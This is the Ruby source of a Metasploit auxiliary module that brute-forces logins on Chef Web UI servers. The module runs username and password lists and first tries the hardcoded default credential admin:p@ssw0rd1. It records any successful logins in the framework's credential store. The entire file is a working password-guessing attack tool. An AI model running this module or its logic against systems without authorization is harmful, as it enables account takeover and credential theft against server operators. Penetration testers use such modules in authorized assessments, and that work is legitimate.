Path: blob/master/modules/auxiliary/scanner/http/chef_webui_login.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'metasploit/framework/login_scanner/chef_webui'6require 'metasploit/framework/credential_collection'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::AuthBrute11include Msf::Auxiliary::Report12include Msf::Auxiliary::Scanner1314def initialize15super(16'Name' => 'Chef Web UI Brute Force Utility',17'Description' => %q{18This module attempts to login to Chef Web UI server instance using username and password19combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It20will also test for the default login (admin:p@ssw0rd1).21},22'Author' => [23'hdm'24],25'License' => MSF_LICENSE,26'DefaultOptions' => {27'SSL' => true,28}29)3031register_options(32[33Opt::RPORT(443),34OptString.new('USERNAME', [false, 'The username to specify for authentication', '']),35OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']),36OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),37]38)39end4041#42# main43#44def run_host(ip)45init_loginscanner(ip)46msg = @scanner.check_setup47if msg48print_brute :level => :error, :ip => rhost, :msg => msg49return50end5152print_brute :level => :status, :ip => rhost, :msg => ("Found Chef Web UI application at #{datastore['TARGETURI']}")53bruteforce(ip)54end5556def bruteforce(ip)57@scanner.scan! do |result|58case result.status59when Metasploit::Model::Login::Status::SUCCESSFUL60print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"61do_report(ip, rport, result)62:next_user63when Metasploit::Model::Login::Status::DENIED_ACCESS64print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"65do_report(ip, rport, result)66:next_user67when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT68if datastore['VERBOSE']69print_brute :level => :verror, :ip => ip, :msg => "Could not connect"70end71invalidate_login(72address: ip,73port: rport,74protocol: 'tcp',75public: result.credential.public,76private: result.credential.private,77realm_key: result.credential.realm_key,78realm_value: result.credential.realm,79status: result.status80)81:abort82when Metasploit::Model::Login::Status::INCORRECT83if datastore['VERBOSE']84print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"85end86invalidate_login(87address: ip,88port: rport,89protocol: 'tcp',90public: result.credential.public,91private: result.credential.private,92realm_key: result.credential.realm_key,93realm_value: result.credential.realm,94status: result.status95)96end97end98end99100def do_report(ip, port, result)101service_data = {102address: ip,103port: port,104service_name: 'http',105protocol: 'tcp',106workspace_id: myworkspace_id107}108109credential_data = {110module_fullname: self.fullname,111origin_type: :service,112private_data: result.credential.private,113private_type: :password,114username: result.credential.public,115}.merge(service_data)116117credential_core = create_credential(credential_data)118119login_data = {120core: credential_core,121last_attempted_at: DateTime.now,122status: result.status123}.merge(service_data)124125create_credential_login(login_data)126end127128def init_loginscanner(ip)129@cred_collection = build_credential_collection(130username: datastore['USERNAME'],131password: datastore['PASSWORD']132)133134# Always try the default first135@cred_collection.prepend_cred(136Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')137)138139@scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(140configure_http_login_scanner(141uri: datastore['TARGETURI'],142cred_details: @cred_collection,143stop_on_success: datastore['STOP_ON_SUCCESS'],144bruteforce_speed: datastore['BRUTEFORCE_SPEED'],145connection_timeout: 5,146http_username: datastore['HttpUsername'],147http_password: datastore['HttpPassword']148)149)150end151end152153154